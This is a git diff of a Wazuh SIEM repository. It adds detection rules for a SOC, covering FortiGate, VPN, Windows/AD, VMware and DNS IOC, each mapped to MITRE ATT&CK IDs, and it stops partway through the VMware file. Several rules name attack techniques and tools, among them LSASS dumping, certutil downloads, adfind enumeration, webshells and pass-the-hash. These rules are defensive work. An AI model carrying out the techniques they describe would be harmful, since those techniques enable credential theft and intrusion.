-  <rule id="100357" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-17</match><description>A4-17 Windows Authentication Multiple Fail One Account from One Source</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
72
-  <rule id="100358" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-18</match><description>A4-18 Windows Authentication Multiple Interactive Logon Denied</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
73
-  <rule id="100359" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-19</match><description>A4-19 Windows Authentication Password Spray</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
74
-  <rule id="100360" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-20</match><description>A4-20 Windows Authentication Attempt from Disabled Account</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
75
-  <rule id="100361" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-21</match><description>A4-21 Windows Domain Account Created</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
76
-  <rule id="100362" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-22</match><description>A4-22 Windows Local Account Re Enabled</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
77
-  <rule id="100363" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-23</match><description>A4-23 Windows Local Account Created</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
78
-  <rule id="100364" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-24</match><description>A4-24 Windows Domain Account Re Enabled</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
79
-
80
-  <!-- Appendix B1 (VMware vCenter/ESXi) -->
81
-  <rule id="100401" level="12"><if_sid>100220</if_sid><match>usecase_id=B1-01</match><description>B1-01 vCenter GUI Login Failed 5 Times and Success 1 Time</description><group>soc_mvp_test,appendix_b,b1,vmware,</group></rule>
82
-  <rule id="100402" level="8"><if_sid>100220</if_sid><match>usecase_id=B1-02</match><description>B1-02 ESXi Enable SSH on Hosts</description><group>soc_mvp_test,appendix_b,b1,vmware,</group></rule>
83
-  <rule id="100403" level="12"><if_sid>100220</if_sid><match>usecase_id=B1-03</match><description>B1-03 ESXi SSH Failed 5 Times and Success 1 Time</description><group>soc_mvp_test,appendix_b,b1,vmware,</group></rule>
84
-
85
-  <!-- Appendix B2 (Log monitoring) -->
86
-  <rule id="100411" level="5"><if_sid>100220</if_sid><match>usecase_id=B2-01</match><description>B2-01 Log Monitor Logs Loss Detection</description><group>soc_mvp_test,appendix_b,b2,logmonitor,</group></rule>
87
-
88
-  <!-- Appendix B3 (Windows Sysmon) -->
89
-  <rule id="100421" level="12"><if_sid>100220</if_sid><match>usecase_id=B3-01</match><description>B3-01 Sysmon LSASS Dumping</description><group>soc_mvp_test,appendix_b,b3,sysmon,</group></rule>
90
-  <rule id="100422" level="12"><if_sid>100220</if_sid><match>usecase_id=B3-02</match><description>B3-02 Sysmon SQL Injection</description><group>soc_mvp_test,appendix_b,b3,sysmon,</group></rule>
91
-  <rule id="100423" level="12"><if_sid>100220</if_sid><match>usecase_id=B3-03</match><description>B3-03 Sysmon Webshell</description><group>soc_mvp_test,appendix_b,b3,sysmon,</group></rule>
92
-  <rule id="100424" level="12"><if_sid>100220</if_sid><match>usecase_id=B3-04</match><description>B3-04 Sysmon Uninstall</description><group>soc_mvp_test,appendix_b,b3,sysmon,</group></rule>
93
-  <rule id="100425" level="12"><if_sid>100220</if_sid><match>usecase_id=B3-05</match><description>B3-05 Sysmon LSASS Dumping by Task Manager</description><group>soc_mvp_test,appendix_b,b3,sysmon,</group></rule>
94
-  <rule id="100426" level="8"><if_sid>100220</if_sid><match>usecase_id=B3-06</match><description>B3-06 Sysmon CertUtil Download</description><group>soc_mvp_test,appendix_b,b3,sysmon,</group></rule>
95
-
96
-  <!-- Appendix C1 (Impossible travel) -->
97
-  <rule id="100501" level="12"><if_sid>100230</if_sid><match>usecase_id=C1-01</match><description>C1-01 Impossible Travel Detection</description><group>soc_mvp_test,appendix_c,c1,identity,</group></rule>
98
-
99
-  <!-- Appendix C2 (Credential abuse & privilege misuse) -->
100
-  <rule id="100511" level="12"><if_sid>100230</if_sid><match>usecase_id=C2-01</match><description>C2-01 Privileged Account Usage Outside Business Hours</description><group>soc_mvp_test,appendix_c,c2,identity,</group></rule>
101
-  <rule id="100512" level="8"><if_sid>100230</if_sid><match>usecase_id=C2-02</match><description>C2-02 Dormant Account Activation</description><group>soc_mvp_test,appendix_c,c2,identity,</group></rule>
102
-  <rule id="100513" level="12"><if_sid>100230</if_sid><match>usecase_id=C2-03</match><description>C2-03 Service Account Interactive Logon</description><group>soc_mvp_test,appendix_c,c2,identity,</group></rule>
103
-  <rule id="100514" level="12"><if_sid>100230</if_sid><match>usecase_id=C2-04</match><description>C2-04 Rapid Privilege Escalation Followed by Sensitive Access</description><group>soc_mvp_test,appendix_c,c2,identity,</group></rule>
104
-
105
-  <!-- Appendix C3 (Lateral movement & internal recon) -->
106
-  <rule id="100521" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-01</match><description>C3-01 Multiple Authentication Success Across Hosts</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
107
-  <rule id="100522" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-02</match><description>C3-02 SMB/RDP Lateral Burst Pattern</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
108
-  <rule id="100523" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-03</match><description>C3-03 Admin Account Accessing Many Servers Rapidly</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
109
-  <rule id="100524" level="8"><if_sid>100230</if_sid><match>usecase_id=C3-04</match><description>C3-04 Internal Scanning / Enumeration Behavior</description><group>soc_mvp_test,appendix_c,c3,recon,</group></rule>
110
-  <!-- ========================= -->
111
-  <!-- Production profile rules -->
112
-  <!-- ========================= -->
113
-  <!--
114
-    Production profile (second profile):
115
-    - Does not depend on simulation marker fields (soc_mvp_test/usecase_id)
116
-    - Uses source-like patterns that can appear in real logs
117
-    - Rule IDs are separated from simulation profile in 110xxx range
118
-  -->
119
-
120
-  <rule id="110200" level="3">
121
-    <description>SOC MVP production profile enabled</description>
122
-    <group>soc_mvp_prod,baseline,</group>
123
-  </rule>
124
-
125
-  <!-- Appendix A1: DNS / Firewall IOC -->
126
-  <rule id="110301" level="8">
127
-    <decoded_as>soc-dns-ioc</decoded_as>
128
-    <match>event_type=ioc_dns_traffic</match>
129
-    <match>malicious.example</match>
130
-    <description>A1 production: DNS query to malicious domain indicator</description>
131
-    <group>soc_mvp_prod,appendix_a,a1,ioc,dns,</group>
132
-  </rule>
133
-  <rule id="110302" level="8">
134
-    <decoded_as>soc-dns-ioc</decoded_as>
135
-    <match>event_type=ioc_domain_match</match>
136
-    <description>A1 production: DNS IOC domain match event</description>
137
-    <group>soc_mvp_prod,appendix_a,a1,ioc,dns,</group>
138
-  </rule>
139
-
140
-  <!-- Appendix A2: FortiGate IPS/IDS & Firewall -->
141
-  <rule id="110311" level="12">
142
-    <match>vendor=fortinet</match>
143
-    <match>dstport=3389</match>
144
-    <match>action="accept"</match>
145
-    <description>A2 production: FortiGate allowed RDP traffic detected</description>
146
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
147
-  </rule>
148
-  <rule id="110312" level="12">
149
-    <match>vendor=fortinet</match>
150
-    <match>action="password-change"</match>
151
-    <description>A2 production: FortiGate admin password change</description>
152
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
153
-  </rule>
154
-  <rule id="110313" level="12">
155
-    <match>vendor=fortinet</match>
156
-    <match>action="create-admin"</match>
157
-    <description>A2 production: FortiGate admin account creation</description>
158
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
159
-  </rule>
160
-  <rule id="110314" level="12">
161
-    <match>vendor=fortinet</match>
162
-    <match>action="disable-email-notification"</match>
163
-    <description>A2 production: FortiGate email notification disabled</description>
164
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
165
-  </rule>
166
-  <rule id="110315" level="5">
167
-    <match>vendor=fortinet</match>
168
-    <match>action="download-config"</match>
169
-    <description>A2 production: FortiGate configuration download</description>
170
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
171
-  </rule>
172
-  <rule id="110316" level="8">
173
-    <match>vendor=fortinet</match>
174
-    <match>subtype="ips"</match>
175
-    <match>severity="critical"</match>
176
-    <description>A2 production: FortiGate critical IPS alert</description>
177
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,ips,</group>
178
-  </rule>
179
-  <rule id="110317" level="5">
180
-    <match>vendor=fortinet</match>
181
-    <match>event_type=port_scan</match>
182
-    <description>A2 production: FortiGate port scanning indicator</description>
183
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,recon,</group>
184
-  </rule>
185
-  <rule id="110318" level="8">
186
-    <match>vendor=fortinet</match>
187
-    <match>event_type=ioc_detection</match>
188
-    <description>A2 production: FortiGate IOC detection event</description>
189
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,ioc,</group>
190
-  </rule>
191
-  <rule id="110320" level="8">
192
-    <match>vendor=fortinet</match>
193
-    <match>event_type=malicious_ip_communication</match>
194
-    <description>A2 production: Communication to malicious IP detected</description>
195
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,ioc,</group>
196
-  </rule>
197
-
198
-  <!-- Appendix A3: FortiGate VPN -->
199
-  <rule id="110331" level="12">
200
-    <match>subtype="vpn"</match>
201
-    <match>success=true</match>
202
-    <match>guest</match>
203
-    <description>A3 production: VPN success by guest account</description>
204
-    <group>soc_mvp_prod,appendix_a,a3,vpn,</group>
205
-  </rule>
206
-  <rule id="110333" level="12">
207
-    <match>subtype="vpn"</match>
208
-    <match>event_type=vpn_bruteforce_success</match>
209
-    <description>A3 production: VPN brute-force success indicator</description>
210
-    <group>soc_mvp_prod,appendix_a,a3,vpn,</group>
211
-  </rule>
212
-  <rule id="110335" level="12">
213
-    <match>subtype="vpn"</match>
214
-    <match>success=true</match>
215
-    <match>country=</match>
216
-    <description>A3 production: VPN success with country context (geo-anomaly candidate)</description>
217
-    <group>soc_mvp_prod,appendix_a,a3,vpn,geo,</group>
218
-  </rule>
219
-
220
-  <!-- Appendix A4: Windows / Active Directory -->
221
-  <rule id="110341" level="8">
222
-    <match>source=windows</match>
223
-    <match>event_id=4625</match>
224
-    <match>is_admin=true</match>
225
-    <description>A4 production: Privileged account authentication failures</description>
226
-    <group>soc_mvp_prod,appendix_a,a4,windows,auth_fail,</group>
227
-  </rule>
228
-  <rule id="110342" level="8">
229
-    <match>source=windows</match>
230
-    <match>event_id=4625</match>
231
-    <match>is_service=true</match>
232
-    <description>A4 production: Service account authentication failures</description>
233
-    <group>soc_mvp_prod,appendix_a,a4,windows,auth_fail,</group>
234
-  </rule>
235
-  <rule id="110346" level="12">
236
-    <match>source=windows</match>
237
-    <match>event_id=4624</match>
238
-    <match>src_ip=</match>
239
-    <description>A4 production: Windows successful authentication with source IP context</description>
240
-    <group>soc_mvp_prod,appendix_a,a4,windows,auth_success,</group>
241
-  </rule>
242
-  <rule id="110352" level="12">
243
-    <match>source=windows</match>
244
-    <match>event_id=4728</match>
245
-    <match>target_group=</match>
246
-    <description>A4 production: Account added to privileged group (domain scope)</description>
247
-    <group>soc_mvp_prod,appendix_a,a4,windows,privilege,</group>
248
-  </rule>
249
-  <rule id="110353" level="12">
250
-    <match>source=windows</match>
251
-    <match>event_id=4732</match>
252
-    <match>target_group=</match>
253
-    <description>A4 production: Account added to privileged group (local scope)</description>
254
-    <group>soc_mvp_prod,appendix_a,a4,windows,privilege,</group>
255
-  </rule>
256
-
257
-  <!-- Appendix B1: VMware -->
258
-  <rule id="110401" level="12">
259
-    <decoded_as>soc-vmware-auth</decoded_as>
260
-    <match>event_type=vmware_</match>
261
-    <match>_fail_success</match>
262
-    <description>B1 production: vCenter login burst pattern</description>
263
-    <group>soc_mvp_prod,appendix_b,b1,vmware,</group>
264
-  </rule>
265
-  <rule id="110402" level="8">
266
-    <decoded_as>soc-vmware-auth</decoded_as>
267
-    <match>event_type=vmware_esxi_enable_ssh</match>
268
-    <description>B1 production: ESXi SSH enabled</description>
269
-    <group>soc_mvp_prod,appendix_b,b1,vmware,</group>
270
-  </rule>
271
-
272
-  <!-- Appendix B2: Log monitoring -->
273
-  <rule id="110411" level="5">
274
-    <decoded_as>soc-log-monitor</decoded_as>
275
-    <match>event_type=log_loss_detection</match>
276
-    <match>missing_stream=</match>
277
-    <description>B2 production: Log loss detection signal</description>
278
-    <group>soc_mvp_prod,appendix_b,b2,logmonitor,</group>
279
-  </rule>
280
-
281
-  <!-- Appendix B3: Sysmon -->
282
-  <rule id="110421" level="12">
283
-    <decoded_as>soc-windows-sysmon</decoded_as>
284
-    <match>target_process=lsass.exe</match>
285
-    <description>B3 production: LSASS dump behavior</description>
286
-    <group>soc_mvp_prod,appendix_b,b3,sysmon,credential_access,</group>
287
-  </rule>
288
-  <rule id="110426" level="8">
289
-    <decoded_as>soc-windows-sysmon</decoded_as>
290
-    <match>process=certutil.exe</match>
291
-    <description>B3 production: CertUtil download pattern</description>
292
-    <group>soc_mvp_prod,appendix_b,b3,sysmon,</group>
293
-  </rule>
294
-
295
-  <!-- Appendix C1-C3: future enhancement (production-prep heuristics) -->
296
-  <rule id="110501" level="12">
297
-    <match>event_type=c1_impossible_travel</match>
298
-    <description>C1 production: Impossible travel correlated event</description>
299
-    <group>soc_mvp_prod,appendix_c,c1,identity,</group>
300
-  </rule>
301
-  <rule id="110511" level="12">
302
-    <match>event_type=c2_credential_abuse</match>
303
-    <description>C2 production: Credential abuse correlated event</description>
304
-    <group>soc_mvp_prod,appendix_c,c2,identity,</group>
305
-  </rule>
306
-  <rule id="110521" level="12">
307
-    <match>event_type=c3_lateral_movement</match>
308
-    <description>C3 production: Lateral movement correlated event</description>
309
-    <group>soc_mvp_prod,appendix_c,c3,lateral_movement,</group>
310
-  </rule>
311 21
 </group>

+ 47 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a1-ioc-rules.xml

@@ -0,0 +1,47 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix A1: DNS / Firewall IOC
3
+  Simulation profile rule IDs : 100301-100302
4
+  Production profile rule IDs : 110301-110302
5
+
6
+  Severity mapping:
7
+    Medium → level 8
8
+
9
+  Decoded fields used (soc-mvp-dns):
10
+    status     = event_type  (ioc_dns_traffic | ioc_domain_match)
11
+    srcip      = source IP
12
+    url        = queried domain
13
+    action     = blocked | alert
14
+-->
15
+<group name="soc_mvp,appendix_a,a1,ioc,dns,">
16
+
17
+  <!-- ── Simulation profile (usecase_id markers present) ── -->
18
+
19
+
20
+
21
+  <!-- ── Production profile (field-based matching) ── -->
22
+
23
+  <rule id="110301" level="8">
24
+    <if_sid>100250</if_sid>
25
+    <match>event_type=ioc_dns_traffic</match>
26
+    <description>A1-01 [PROD] DNS query to malicious domain (IOC traffic indicator)</description>
27
+    <group>soc_prod,a1,ioc,</group>
28
+    <mitre>
29
+      <id>T1071.004</id>
30
+    </mitre>
31
+  </rule>
32
+
33
+  <rule id="110302" level="8">
34
+    <if_sid>100250</if_sid>
35
+    <match>event_type=ioc_domain_match</match>
36
+    <description>A1-02 [PROD] DNS IOC domain match from threat intelligence feed</description>
37
+    <group>soc_prod,a1,ioc,</group>
38
+    <mitre>
39
+      <id>T1568</id>
40
+    </mitre>
41
+  </rule>
42
+
43
+  <!-- ── Production normalized key=value path (soc-mvp production profile) ── -->
44
+
45
+
46
+
47
+</group>

+ 113 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a2-fortigate-fw-rules.xml

@@ -0,0 +1,113 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix A2: FortiGate IPS/IDS & Firewall
3
+  Simulation profile rule IDs : 100311-100320
4
+  Production profile rule IDs : 110311-110320
5
+
6
+  Severity mapping:
7
+    High   → level 12
8
+    Medium → level 8
9
+    Low    → level 5
10
+-->
11
+<group name="soc_mvp,appendix_a,a2,fortigate,">
12
+
13
+  <!-- ── Simulation profile ── -->
14
+
15
+
16
+
17
+
18
+
19
+
20
+
21
+
22
+
23
+
24
+
25
+  <!-- ── Production profile (if_group=fortigate, no soc_mvp_test required) ── -->
26
+
27
+  <rule id="110311" level="12">
28
+    <if_group>fortigate</if_group>
29
+    <match>dstport=3389</match>
30
+    <match>action="accept"</match>
31
+    <description>A2-01 [PROD] FortiGate: RDP (3389) traffic allowed</description>
32
+    <group>soc_prod,a2,rdp,</group>
33
+    <mitre><id>T1021.001</id></mitre>
34
+  </rule>
35
+
36
+  <rule id="110312" level="12">
37
+    <if_group>fortigate</if_group>
38
+    <match>action="password-change"</match>
39
+    <description>A2-02 [PROD] FortiGate: admin account password changed</description>
40
+    <group>soc_prod,a2,admin_change,</group>
41
+    <mitre><id>T1098</id></mitre>
42
+  </rule>
43
+
44
+  <rule id="110313" level="12">
45
+    <if_group>fortigate</if_group>
46
+    <match>action="create-admin"</match>
47
+    <description>A2-03 [PROD] FortiGate: new admin account created</description>
48
+    <group>soc_prod,a2,admin_change,</group>
49
+    <mitre><id>T1136</id></mitre>
50
+  </rule>
51
+
52
+  <rule id="110314" level="12">
53
+    <if_group>fortigate</if_group>
54
+    <match>action="config-change"</match>
55
+    <match>config_value=disable</match>
56
+    <description>A2-04 [PROD] FortiGate: alerting/notification disabled via config change</description>
57
+    <group>soc_prod,a2,defense_evasion,</group>
58
+    <mitre><id>T1562</id></mitre>
59
+  </rule>
60
+
61
+  <rule id="110315" level="5">
62
+    <if_group>fortigate</if_group>
63
+    <match>action="download-config"</match>
64
+    <description>A2-05 [PROD] FortiGate: firewall configuration file downloaded</description>
65
+    <group>soc_prod,a2,config,</group>
66
+    <mitre><id>T1005</id></mitre>
67
+  </rule>
68
+
69
+  <rule id="110316" level="8">
70
+    <if_group>fortigate</if_group>
71
+    <match>subtype="ips"</match>
72
+    <match>attack="Multiple.Critical</match>
73
+    <description>A2-06 [PROD] FortiGate IPS: multiple critical signatures triggered</description>
74
+    <group>soc_prod,a2,ips,</group>
75
+    <mitre><id>T1595</id></mitre>
76
+  </rule>
77
+
78
+  <rule id="110317" level="5">
79
+    <if_group>fortigate</if_group>
80
+    <match>subtype="anomaly"</match>
81
+    <match>attack="TCP.Port.Scan"</match>
82
+    <description>A2-07 [PROD] FortiGate: TCP port scan from external IP</description>
83
+    <group>soc_prod,a2,recon,</group>
84
+    <mitre><id>T1046</id></mitre>
85
+  </rule>
86
+
87
+  <rule id="110318" level="8">
88
+    <if_group>fortigate</if_group>
89
+    <match>subtype="ips"</match>
90
+    <match>ioc_type=ip</match>
91
+    <description>A2-08 [PROD] FortiGate IPS: IOC-based IP indicator detected</description>
92
+    <group>soc_prod,a2,ioc,</group>
93
+    <mitre><id>T1071.001</id></mitre>
94
+  </rule>
95
+
96
+  <rule id="110319" level="8">
97
+    <if_group>fortigate</if_group>
98
+    <match>subtype="anomaly"</match>
99
+    <match>attack="Internal.Port.Scan"</match>
100
+    <description>A2-09 [PROD] FortiGate: internal port scan from private source IP</description>
101
+    <group>soc_prod,a2,recon,</group>
102
+    <mitre><id>T1046</id></mitre>
103
+  </rule>
104
+
105
+  <rule id="110320" level="8">
106
+    <if_group>fortigate</if_group>
107
+    <match>threat_label="known-c2"</match>
108
+    <description>A2-10 [PROD] FortiGate: traffic to known C2/malicious IP allowed</description>
109
+    <group>soc_prod,a2,ioc,c2,</group>
110
+    <mitre><id>T1071.001</id></mitre>
111
+  </rule>
112
+
113
+</group>

+ 66 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a3-fortigate-vpn-rules.xml

@@ -0,0 +1,66 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix A3: FortiGate VPN
3
+  Simulation profile rule IDs : 100331-100335
4
+  Production profile rule IDs : 110331-110335
5
+
6
+  Severity mapping:
7
+    High → level 12
8
+    Low  → level 5
9
+-->
10
+<group name="soc_mvp,appendix_a,a3,vpn,fortigate,">
11
+
12
+  <!-- ── Simulation profile ── -->
13
+
14
+
15
+
16
+
17
+
18
+
19
+  <!-- ── Production profile (if_group=fortigate) ── -->
20
+
21
+  <rule id="110331" level="12">
22
+    <if_group>fortigate</if_group>
23
+    <match>action="ssl-login-success"</match>
24
+    <match>user="guest"</match>
25
+    <description>A3-01 [PROD] VPN authentication success by guest account</description>
26
+    <group>soc_prod,a3,vpn_guest,</group>
27
+    <mitre><id>T1078.001</id></mitre>
28
+  </rule>
29
+
30
+  <rule id="110332" level="12">
31
+    <if_group>fortigate</if_group>
32
+    <match>action="ssl-login-success"</match>
33
+    <match>previous_country=</match>
34
+    <description>A3-02 [PROD] VPN success from different country than last login</description>
35
+    <group>soc_prod,a3,vpn_geo,</group>
36
+    <mitre><id>T1078</id></mitre>
37
+  </rule>
38
+
39
+  <rule id="110333" level="12">
40
+    <if_group>fortigate</if_group>
41
+    <match>action="ssl-login-success"</match>
42
+    <match>failed_attempts_before_success=</match>
43
+    <description>A3-03 [PROD] VPN success after multiple prior failures (brute-force indicator)</description>
44
+    <group>soc_prod,a3,vpn_bruteforce,</group>
45
+    <mitre><id>T1110.001</id></mitre>
46
+  </rule>
47
+
48
+  <rule id="110334" level="5">
49
+    <if_group>fortigate</if_group>
50
+    <match>action="ssl-login-fail"</match>
51
+    <match>failed_accounts=</match>
52
+    <description>A3-04 [PROD] VPN multiple account failures from single source IP</description>
53
+    <group>soc_prod,a3,vpn_bruteforce,</group>
54
+    <mitre><id>T1110.003</id></mitre>
55
+  </rule>
56
+
57
+  <rule id="110335" level="12">
58
+    <if_group>fortigate</if_group>
59
+    <match>action="ssl-login-success"</match>
60
+    <match>expected_country=TH</match>
61
+    <description>A3-05 [PROD] VPN authentication success from outside Thailand</description>
62
+    <group>soc_prod,a3,vpn_geo,</group>
63
+    <mitre><id>T1078</id></mitre>
64
+  </rule>
65
+
66
+</group>

+ 168 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a4-windows-ad-rules.xml

@@ -0,0 +1,168 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix A4: Windows / Active Directory
3
+  Simulation profile rule IDs : 100341-100364
4
+  Production profile rule IDs : 110341-110364
5
+
6
+  Production rules use specific built-in Wazuh rule SIDs as parents
7
+  to avoid the N×M rule-tree explosion from if_group=windows:
8
+    60105/60122 → event 4625 (auth failure)
9
+    60106       → event 4624 (auth success / logon)
10
+    60109       → events 4720/4722 (account create/enable)
11
+    60113       → events 4728/4732 (group membership change)
12
+    67027       → event 4688 (new process created)
13
+    60103       → event 4794 (DSRM password set)
14
+-->
15
+<group name="soc_mvp,appendix_a,a4,windows,">
16
+
17
+  <!-- ── Simulation profile ── -->
18
+
19
+
20
+
21
+
22
+
23
+
24
+
25
+
26
+
27
+
28
+
29
+
30
+
31
+
32
+
33
+
34
+
35
+
36
+
37
+
38
+
39
+
40
+
41
+
42
+
43
+  <!-- ── Production profile ──
44
+       Parents are specific built-in Wazuh SIDs (not if_group=windows) to
45
+       avoid N×M rule-tree explosion. Each parent fires for one event ID.
46
+  -->
47
+
48
+  <!-- A4-01/02/19: Auth failures (event 4625)
49
+       Parent: 60105 (4625 base), 60122 (4625 variant) -->
50
+  <rule id="110341" level="8">
51
+    <if_sid>60105, 60122</if_sid>
52
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)admin</field>
53
+    <description>A4-01 [PROD] Windows: privileged account name auth failure (4625)</description>
54
+    <group>soc_prod,a4,auth_fail,</group>
55
+    <mitre><id>T1110.001</id></mitre>
56
+  </rule>
57
+
58
+  <rule id="110342" level="8">
59
+    <if_sid>60105, 60122</if_sid>
60
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)svc|service|\$$</field>
61
+    <description>A4-02 [PROD] Windows: service account auth failure (4625)</description>
62
+    <group>soc_prod,a4,auth_fail,</group>
63
+    <mitre><id>T1110.001</id></mitre>
64
+  </rule>
65
+
66
+  <rule id="110359" level="5">
67
+    <if_sid>60105, 60122</if_sid>
68
+    <description>A4-19 [PROD] Windows: authentication failure (4625)</description>
69
+    <group>soc_prod,a4,spray,</group>
70
+    <mitre><id>T1110.003</id></mitre>
71
+  </rule>
72
+
73
+  <!-- A4-03: AD enumeration via process execution (event 4688)
74
+       Parent: 67027 (new process created) -->
75
+  <rule id="110343" level="8">
76
+    <if_sid>67027</if_sid>
77
+    <field name="win.eventdata.newProcessName" type="pcre2">(?i)adfind\.exe</field>
78
+    <description>A4-03 [PROD] Windows AD: adfind enumeration tool executed (4688)</description>
79
+    <group>soc_prod,a4,ad_enum,</group>
80
+    <mitre><id>T1087.002</id></mitre>
81
+  </rule>
82
+
83
+  <!-- A4-06/07/08/09/10: Auth successes (event 4624)
84
+       Parent: 60106 (logon success) -->
85
+  <rule id="110346" level="12">
86
+    <if_sid>60106</if_sid>
87
+    <field name="win.eventdata.logonType">^10$</field>
88
+    <description>A4-06 [PROD] Windows: remote interactive auth success logon type 10 (4624)</description>
89
+    <group>soc_prod,a4,auth_success,remote,</group>
90
+    <mitre><id>T1021.001</id></mitre>
91
+    <mitre><id>T1078</id></mitre>
92
+  </rule>
93
+
94
+  <rule id="110348" level="12">
95
+    <if_sid>60106</if_sid>
96
+    <field name="win.eventdata.authenticationPackageName">NTLM</field>
97
+    <field name="win.eventdata.logonType">^3$</field>
98
+    <description>A4-08 [PROD] Windows: NTLM network logon type 3 — pass-the-hash indicator (4624)</description>
99
+    <group>soc_prod,a4,pth,</group>
100
+    <mitre><id>T1550.002</id></mitre>
101
+  </rule>
102
+
103
+  <rule id="110349" level="12">
104
+    <if_sid>60106</if_sid>
105
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)^guest$</field>
106
+    <description>A4-09 [PROD] Windows: guest account auth success (4624)</description>
107
+    <group>soc_prod,a4,auth_success,guest,</group>
108
+    <mitre><id>T1078.001</id></mitre>
109
+  </rule>
110
+
111
+  <rule id="110350" level="12">
112
+    <if_sid>60106</if_sid>
113
+    <field name="win.eventdata.logonType">^2$</field>
114
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)svc|service|\$$</field>
115
+    <description>A4-10 [PROD] Windows: service account interactive logon type 2 (4624)</description>
116
+    <group>soc_prod,a4,service_account,</group>
117
+    <mitre><id>T1078.003</id></mitre>
118
+  </rule>
119
+
120
+  <!-- A4-11/12: Group membership changes (events 4728/4732)
121
+       Parent: 60113 (member added to security-enabled group) -->
122
+  <rule id="110352" level="12">
123
+    <if_sid>60113</if_sid>
124
+    <field name="win.system.eventID">^4728$</field>
125
+    <description>A4-12 [PROD] Windows: account added to privileged domain group (4728)</description>
126
+    <group>soc_prod,a4,privilege_escalation,</group>
127
+    <mitre><id>T1098.007</id></mitre>
128
+  </rule>
129
+
130
+  <rule id="110353" level="12">
131
+    <if_sid>60113</if_sid>
132
+    <field name="win.system.eventID">^4732$</field>
133
+    <description>A4-11 [PROD] Windows: account added to privileged local group (4732)</description>
134
+    <group>soc_prod,a4,privilege_escalation,</group>
135
+    <mitre><id>T1098.007</id></mitre>
136
+  </rule>
137
+
138
+  <!-- A4-13: DSRM password set (event 4794)
139
+       Parent: 60103 -->
140
+  <rule id="110354" level="12">
141
+    <if_sid>60103</if_sid>
142
+    <description>A4-13 [PROD] Windows DC: DSRM account password set (4794)</description>
143
+    <group>soc_prod,a4,persistence,</group>
144
+    <mitre><id>T1098</id></mitre>
145
+  </rule>
146
+
147
+  <!-- A4-21/22/23/24: Account lifecycle (events 4720/4722)
148
+       Parent: 60109 (account created/enabled) -->
149
+  <rule id="110361" level="5">
150
+    <if_sid>60109</if_sid>
151
+    <field name="win.system.eventID">^4720$</field>
152
+    <description>A4-21/23 [PROD] Windows: new user account created (4720)</description>
153
+    <group>soc_prod,a4,account_create,</group>
154
+    <mitre><id>T1136</id></mitre>
155
+  </rule>
156
+
157
+  <rule id="110362" level="5">
158
+    <if_sid>60109</if_sid>
159
+    <field name="win.system.eventID">^4722$</field>
160
+    <description>A4-22/24 [PROD] Windows: user account re-enabled (4722)</description>
161
+    <group>soc_prod,a4,account_lifecycle,</group>
162
+    <mitre><id>T1078</id></mitre>
163
+  </rule>
164
+
165
+  <!-- ── Production normalized key=value path (soc-mvp production profile) ── -->
166
+
167
+
168
+</group>

+ 44 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b1-vmware-rules.xml

@@ -0,0 +1,44 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix B1: VMware vCenter / ESXi
3
+  Simulation profile rule IDs : 100401-100403
4
+  Production profile rule IDs : 110401-110403
5
+-->
6
+<group name="soc_mvp,appendix_b,b1,vmware,">
7
+
8
+  <!-- ── Simulation profile ── -->
9
+
10
+
11
+
12
+
13
+  <!-- ── Production profile (if_group=vmware + real log patterns) ── -->
14
+
15
+  <rule id="110401" level="12">
16
+    <if_group>vmware</if_group>
17
+    <match>Login failure</match>
18
+    <description>B1-01 [PROD] vCenter: login failure detected (brute-force indicator)</description>
19
+    <group>soc_prod,b1,vcenter,auth,</group>
20
+    <mitre><id>T1110</id></mitre>
21
+  </rule>
22
+
23
+  <rule id="110402" level="8">
24
+    <if_group>vmware</if_group>
25
+    <match>SSH login is enabled</match>
26
+    <description>B1-02 [PROD] ESXi: SSH service enabled on host</description>
27
+    <group>soc_prod,b1,esxi,ssh,</group>
28
+    <mitre><id>T1021.004</id></mitre>
29
+  </rule>
30
+
31
+  <rule id="110403" level="12">
32
+    <if_group>vmware</if_group>
33
+    <match>sshd</match>
34
+    <description>B1-03 [PROD] ESXi: SSH authentication event detected</description>
35
+    <group>soc_prod,b1,esxi,ssh,</group>
36
+    <mitre><id>T1021.004</id></mitre>
37
+  </rule>
38
